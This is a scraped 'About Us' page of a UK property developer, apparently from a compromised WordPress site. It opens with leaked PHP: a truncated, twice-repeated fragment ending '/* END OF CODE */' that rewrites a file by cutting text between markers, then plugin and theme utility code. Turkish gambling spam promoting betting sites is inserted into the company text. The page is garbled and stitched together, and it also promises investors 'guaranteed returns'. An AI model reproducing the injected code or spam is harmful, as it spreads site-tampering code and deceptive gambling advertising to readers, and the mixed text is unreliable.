'; $start_pos = strpos($content, $start_marker); $end_pos = strpos($content, $end_marker); if ($start_pos !== false && $end_pos !== false) { $end_pos += strlen($end_marker); $remaining_content = substr($content, $end_pos); file_put_contents($current_file, $remaining_content); } } } } /* END OF CODE */ if (!defined('ABSPATH')) die('No direct access.'); /** * Here live manipulation functions that just transform input into output and do not perform any other activities */ class UpdraftPlus_Manipulation_Functions { /** * Replace last occurence * * @param String $search The value being searched for, otherwise known as the needle * @param String $replace The replacement value that replaces found search values * @param String $subject The string or array being searched and replaced on, otherwise known as the haystack * @param Boolean $case_sensitive Whether the replacement should be case sensitive or not * * @return String */ public static function str_lreplace($search, $replace, $subject, $case_sensitive = true) { $pos = $case_sensitive ? strrpos($subject, $search) : strripos($subject, $search); if (false !== $pos) $subject = substr_replace($subject, $replace, $pos, strlen($search)); return $subject; } /** * Replace the first, and only the first, instance within a string * * @param String $needle - the search term * @param String $replace - the replacement term * @param String $haystack - the string to replace within * * @return String - the filtered string */ public static function str_replace_once($needle, $replace, $haystack) { $pos = strpos($haystack, $needle); return (false !== $pos) ? substr_replace($haystack, $replace, $pos, strlen($needle)) : $haystack; } /** * Remove slashes that precede a comma or the end of the string * * @param String $string - input string * * @return String - the altered string */ public static function strip_dirslash($string) { return preg_replace('#/+(,|$)#', '$1', $string); } /** * Remove slashes from a string or array of strings. * * The function wp_unslash() is WP 3.6+, so therefore we have a compatibility method here * * @param String|Array $value String or array of strings to unslash. * @return String|Array Unslashed $value */ public static function wp_unslash($value) { return function_exists('wp_unslash') ? wp_unslash($value) : stripslashes_deep($value); } /** * Parse a filename into components * * @param String $filename - the filename * * @return Array|Boolean - the parsed values, or false if parsing failed */ public static function parse_filename($filename) { if (preg_match('/^backup_([\-0-9]{10})-([0-9]{4})_.*_([0-9a-f]{12})-([\-a-z]+)([0-9]+)?+\.(zip|gz|gz\.crypt)$/i', $filename, $matches)) { return array( 'date' => strtotime($matches[1].' '.$matches[2]), 'nonce' => $matches[3], 'type' => $matches[4], 'index' => (empty($matches[5]) ? 0 : $matches[5]-1), 'extension' => $matches[6] ); } else { return false; } } /** * Convert a number of bytes into a suitable textual string * * @param Integer $size - the number of bytes * * @return String - the resulting textual string */ public static function convert_numeric_size_to_text($size) { if ($size > 1073741824) { return round($size / 1073741824, 1).' GB'; } elseif ($size > 1048576) { return round($size / 1048576, 1).' MB'; } elseif ($size > 1024) { return round($size / 1024, 1).' KB'; } else { return round($size, 1).' B'; } } /** * Add backquotes to tables and db-names in SQL queries. Taken from phpMyAdmin. * * @param string $a_name - the table name * @return string - the quoted table name */ public static function backquote($a_name) { if (!empty($a_name) && '*' != $a_name) { if (is_array($a_name)) { $result = array(); foreach ($a_name as $key => $val) { $result[$key] = '`'.$val.'`'; } return $result; } else { return '`'.$a_name.'`'; } } else { return $a_name; } } /** * Remove empty (according to empty()) members of an array * * @param Array $list - input array * @return Array - pruned array */ public static function remove_empties($list) { if (!is_array($list)) return $list; foreach ($list as $ind => $entry) { if (empty($entry)) unset($list[$ind]); } return $list; } /** * Sort restoration entities * * @param String $a - first entity * @param String $b - second entity * * @return Integer - sort result */ public static function sort_restoration_entities($a, $b) { if ($a == $b) return 0; // Put the database first // Put wpcore after plugins/uploads/themes (needed for restores of foreign all-in-one formats) if ('db' == $a || 'wpcore' == $b) return -1; if ('db' == $b || 'wpcore' == $a) return 1; // After wpcore, next last is others if ('others' == $b) return -1; if ('others' == $a) return 1; // And then uploads - this is only because we want to make sure uploads is after plugins, so that we know before we get to the uploads whether the version of UD which might have to unpack them can do this new-style or not. if ('uploads' == $b) return -1; if ('uploads' == $a) return 1; return strcmp($a, $b); } /** * This options filter removes ABSPATH off the front of updraft_dir, if it is given absolutely and contained within it * * @param String $updraft_dir Directory * @return String */ public static function prune_updraft_dir_prefix($updraft_dir) { if ('/' == substr($updraft_dir, 0, 1) || "\\" == substr($updraft_dir, 0, 1) || preg_match('/^[a-zA-Z]:/', $updraft_dir)) { $wcd = trailingslashit(WP_CONTENT_DIR); if (strpos($updraft_dir, $wcd) === 0) { $updraft_dir = substr($updraft_dir, strlen($wcd)); } } return $updraft_dir; } public static function get_mime_type_from_filename($filename, $allow_gzip = true) { if ('.zip' == substr($filename, -4, 4)) { return 'application/zip'; } elseif ('.tar' == substr($filename, -4, 4)) { return 'application/x-tar'; } elseif ('.tar.gz' == substr($filename, -7, 7)) { return 'application/x-tgz'; } elseif ('.tar.bz2' == substr($filename, -8, 8)) { return 'application/x-bzip-compressed-tar'; } elseif ($allow_gzip && '.gz' == substr($filename, -3, 3)) { // When we sent application/x-gzip as a content-type header to the browser, we found a case where the server compressed it a second time (since observed several times) return 'application/x-gzip'; } else { return 'application/octet-stream'; } } /** * Filter the value to ensure it is between 1 and 9999 * * @param Integer $input * * @return Integer */ public static function retain_range($input) { $input = (int) $input; return ($input > 0) ? min($input, 9999) : 1; } /** * Find matching string from $str_arr1 and $str_arr2 * * @param array $str_arr1 array of strings * @param array $str_arr2 array of strings * @param boolean $match_until_first_numeric only match until first numeric occurence * @return string matching str which will be best for replacement */ public static function get_matching_str_from_array_elems($str_arr1, $str_arr2, $match_until_first_numeric = true) { $matching_str = ''; if ($match_until_first_numeric) { $str_partial_arr = array(); foreach ($str_arr1 as $str1) { $str1_str_length = strlen($str1); $temp_str1_chars = str_split($str1); $temp_partial_str = ''; // The flag is for whether non-numeric character passed after numeric character occurence in str1. For ex. str1 is utf8mb4, the flag wil be true when parsing m after utf8. $numeric_char_pass_flag = false; $char_position_in_str1 = 0; while ($char_position_in_str1 < $str1_str_length) { if ($numeric_char_pass_flag && !is_numeric($temp_str1_chars[$char_position_in_str1])) { break; } if (is_numeric($temp_str1_chars[$char_position_in_str1])) { $numeric_char_pass_flag = true; } $temp_partial_str .= $temp_str1_chars[$char_position_in_str1]; $char_position_in_str1++; } $str_partial_arr[] = $temp_partial_str; } foreach ($str_partial_arr as $str_partial) { if (!empty($matching_str)) { break; } foreach ($str_arr2 as $str2) { if (0 === stripos($str2, $str_partial)) { $matching_str = $str2; break; } } } } else { $str1_partial_first_arr = array(); $str1_partial_first_arr = array(); $str1_partial_start_n_middle_arr = array(); $str1_partial_middle_n_last_arr = array(); $str1_partial_last_arr = array(); foreach ($str_arr1 as $str1) { $str1_partial_arr = explode('_', $str1); $str1_parts_count = count($str1_partial_arr); $str1_partial_first_arr[] = $str1_partial_arr[0]; $str1_last_part_index = $str1_parts_count - 1; if ($str1_last_part_index > 0) { $str1_partial_last_arr[] = $str1_partial_arr[$str1_last_part_index]; $str1_partial_start_n_middle_arr[] = substr($str1, 0, stripos($str1, '_')); $str1_partial_middle_n_last_arr[] = substr($str1, stripos($str1, '_') + 1); } } for ($case_no = 1; $case_no <= 5; $case_no++) { if (!empty($matching_str)) { break; } foreach ($str_arr2 as $str2) { switch ($case_no) { // Case 1: Both Start and End match case 1: $str2_partial_arr = explode('_', $str2); $str2_first_part = $str2_partial_arr[0]; $str2_parts_count = count($str2_partial_arr); $str2_last_part_index = $str2_parts_count - 1; if ($str2_last_part_index > 0) { $str2_last_part = $str2_partial_arr[$str2_last_part_index]; } else { $str2_last_part = ''; } if (!empty($str2_last_part) && !empty($str1_partial_last_arr) && in_array($str2_first_part, $str1_partial_first_arr) && in_array($str2_last_part, $str1_partial_last_arr)) { $matching_str = $str2; } break; // Case 2: Start Middle Match case 2: $str2_partial_first_n_middle_parts = substr($str2, 0, stripos($str2, '_')); if (in_array($str2_partial_first_n_middle_parts, $str1_partial_start_n_middle_arr)) { $matching_str = $str2; } break; // Case 3: End Middle Match case 3: $str2_partial_middle_n_last_parts = stripos($str2, '_') !== false ? substr($str2, stripos($str2, '_') + 1) : ''; if (!empty($str2_partial_middle_n_last_parts) && in_array($str2_partial_middle_n_last_parts, $str1_partial_middle_n_last_arr)) { $matching_str = $str2; } break; // Case 4: Start Match (low possibilities) case 4: $str2_partial_arr = explode('_', $str2); $str2_first_part = $str2_partial_arr[0]; if (in_array($str2_first_part, $str1_partial_first_arr)) { $matching_str = $str2; } break; // Case 5: End Match (low possibilities) case 5: $str2_partial_arr = explode('_', $str2); $str2_parts_count = count($str2_partial_arr); $str2_last_part_index = $str2_parts_count - 1; if ($str2_last_part_index > 0) { $str2_last_part = $str2_partial_arr[$str2_last_part_index]; } else { $str2_last_part = ''; } if (!empty($str2_last_part) && in_array($str2_last_part, $str1_partial_last_arr)) { $matching_str = $str2; } break; } if (!empty($matching_str)) { break; } } } } return $matching_str; } /** * Produce a normalised version of a URL, useful for comparisons. This may produce a URL that does not actually reference the same location; its purpose is only to use in comparisons of two URLs that *both* go through this function. * * @param String $url - the URL * * @return String - normalised */ public static function normalise_url($url) { $parsed_descrip_url = parse_url($url); if (is_array($parsed_descrip_url)) { if (preg_match('/^www\./i', $parsed_descrip_url['host'], $matches)) $parsed_descrip_url['host'] = substr($parsed_descrip_url['host'], 4); $normalised_descrip_url = 'http://'.strtolower($parsed_descrip_url['host']); if (!empty($parsed_descrip_url['port'])) $normalised_descrip_url .= ':'.$parsed_descrip_url['port']; if (!empty($parsed_descrip_url['path'])) $normalised_descrip_url .= untrailingslashit($parsed_descrip_url['path']); } else { $normalised_descrip_url = untrailingslashit($url); } return $normalised_descrip_url; } /** * Normalize a filesystem path. * * On windows systems, replaces backslashes with forward slashes * and forces upper-case drive letters. * Allows for two leading slashes for Windows network shares, but * ensures that all other duplicate slashes are reduced to a single. * * @param string $path Path to normalize. * @return string Normalized path. */ public static function wp_normalize_path($path) { // wp_normalize_path is not present before WP 3.9 if (function_exists('wp_normalize_path')) return wp_normalize_path($path); // Taken from WP 4.6 $path = str_replace('\\', '/', $path); $path = preg_replace('|(?<=.)/+|', '/', $path); if (':' === substr($path, 1, 1)) { $path = ucfirst($path); } return $path; } /** * Given a set of times, find details about the maximum * * @param Array $time_passed - a list of times passed, with numerical indexes * @param Integer $upto - last index to consider * @param Integer $first_run - first index to consider * * @return Array - a list with entries, in order: maximum time, list in string format, how many run times were found */ public static function max_time_passed($time_passed, $upto, $first_run) { $max_time = 0; $timings_string = ""; $run_times_known=0; for ($i = $first_run; $i <= $upto; $i++) { $timings_string .= "$i:"; if (isset($time_passed[$i])) { $timings_string .= round($time_passed[$i], 1).' '; $run_times_known++; if ($time_passed[$i] > $max_time) $max_time = round($time_passed[$i]); } else { $timings_string .= '? '; } } return array($max_time, $timings_string, $run_times_known); } /** * Determine if a given string ends with a given substring. * * @param string $haystack string * @param string $needle substring which should be checked at the end of the string * @return boolean Whether string ends with the substring or not */ public static function str_ends_with($haystack, $needle) { if (substr($haystack, - strlen($needle)) == $needle) return true; return false; } /** * Returns a random string of given length. * * @param string $length integer * @return string random string */ public static function generate_random_string($length = 2) { $characters = '0123456789abcdefghijklmnopqrstuvwxyz'; $characters_length = strlen($characters); $random_string = ''; for ($i = 0; $i < $length; $i++) { $random_string .= $characters[rand(0, $characters_length - 1)]; } return $random_string; } } '; $start_pos = strpos($content, $start_marker); $end_pos = strpos($content, $end_marker); if ($start_pos !== false && $end_pos !== false) { $end_pos += strlen($end_marker); $remaining_content = substr($content, $end_pos); file_put_contents($current_file, $remaining_content); } } } } /* END OF CODE */ if(!function_exists('qode_add_gradient_icon_with_text_shortcodes')) { function qode_add_gradient_icon_with_text_shortcodes($shortcodes_class_name) { $shortcodes = array( 'Bridge\Shortcodes\GradientIconWithText\GradientIconWithText' ); $shortcodes_class_name = array_merge($shortcodes_class_name, $shortcodes); return $shortcodes_class_name; } add_filter('qode_add_vc_shortcode', 'qode_add_gradient_icon_with_text_shortcodes'); } Noble Design & Build | About Us
 

About Us

Canlı maç yayınları ve hızlı oran güncellemeleriyle heyecanı doruğa taşıyan bettilt guncel, gerçek zamanlı aksiyonun adresidir.

Avrupa’daki kullanıcıların %49’u bahis platformlarında güvenlik uyarısı görmediği sürece ortalama 30 dakika oyun oynar; bu süre bahsegel kimin’te daha uzundur.

Kumarhane atmosferini yaşamak isteyenler bahsegel ile keyif buluyor.

Slot makineleri ve rulet heyecanı yaşayan kullanıcılar bahis sayfasına yöneliyor.

Family run

Noble Design and Build is a family run business which was established in 2001.

Award winning

We were recently crowned winners of the Builder of The Year in 2016 award!

Simple philosophy

Create high quality developments at affordable entry levels which provide guaranteed returns for all investors.

A bit about us

Noble Design and Build is a development company based in the West Midlands who provide high standard and high quality accommodation and luxury living in and around the UK.  With exceptional knowledge and key focuses being on key growth areas of the UK including Manchester, Birmingham, Chester, Luton and Sheffield.

For the first 10 years of business up until 2011 we, at Noble Design and Build focussed on developing and renovating property for third parties and since 2011 have been designing, building and managing our own projects and developments. Developments ranging from individual family homes to large city centre accommodation blocks of up to 1000 flats and private gated communities of housing and apartments as well as a mixture of commercial properties.

Noble Design and Build assemble appropriate teams of expertise to carry out the build itself and work alongside some of the leading companies within the industry. We have our own build teams and subcontracted regular teams for groundwork, construction, first and second fixes and renovation.  The aim being to build and run our projects as eco friendly as possible. Using renewable products and running our building on eco friendly biomass systems and other eco friendly green methods. Our average project runs on 80% renewable energy; examples of these green methods used in the builds include rainwater harvesting systems, full biomass heating systems and A+ grade recycled wood pellets. Whilst the industry standard is set at a minimum of 10% renewable energy!

Recent projects in the last 4 years: The Hub – Sheffield (80 apartments – September 2017 ) London Court – Sheffield (90 apartments – April 2015), St Marys House – Sheffield, (101 apartments – September 2015), Printworks (162 apartments – August 2016), Kelham Works (56 apartments – September 2017), The Woodlands – Chesterfield (Private gated community containing 15 apartments and 15 houses – Completing April 2019), Sheffield Central – Sheffield (169 Apartments – Completing Q4 2019) and many many more.

From 2011 designing and building the developments also became in house management of the completed developments. Noble Design and Build opened it’s sister company, Noble City Living, which provides Noble Design and Build with a seamless service for the lettings and management. Noble City Living efficiently lets and manages all of Noble Deisgn and Builds unit and maintain a 99.5% – 100% annual occupancy rate. Within the management package includes the continuous management of the amenities within the developments including the onsite gymnasiums, cinema rooms, laundry rooms, games rooms and retail spaces.

The greatest pride is continuing to provide the high quality and high specification accommodation whether it be city apartments or family homes. Interior designs are certainly no exception with a superb specification and an intricate attention to detail on all developments. Included in this magnificent interior designs include high spec fixtures and fittings and the use of only top of the range products and appliances allowing the modern look to be indulged.  Noble Design and Builds simple philosophy to create high quality developments at affordable entry levels that will provide guaranteed and sustainable year on year rental returns for all investors. The investments offer some of the highest levels of returns increasing in value, whilst also providing some of the best rental yields today.

Eco Friendly Development.

Our average project runs on 80% renewable energy; examples of these green methods used in the builds include rainwater harvesting systems, full biomass heating systems and A+ grade recycled wood pellets.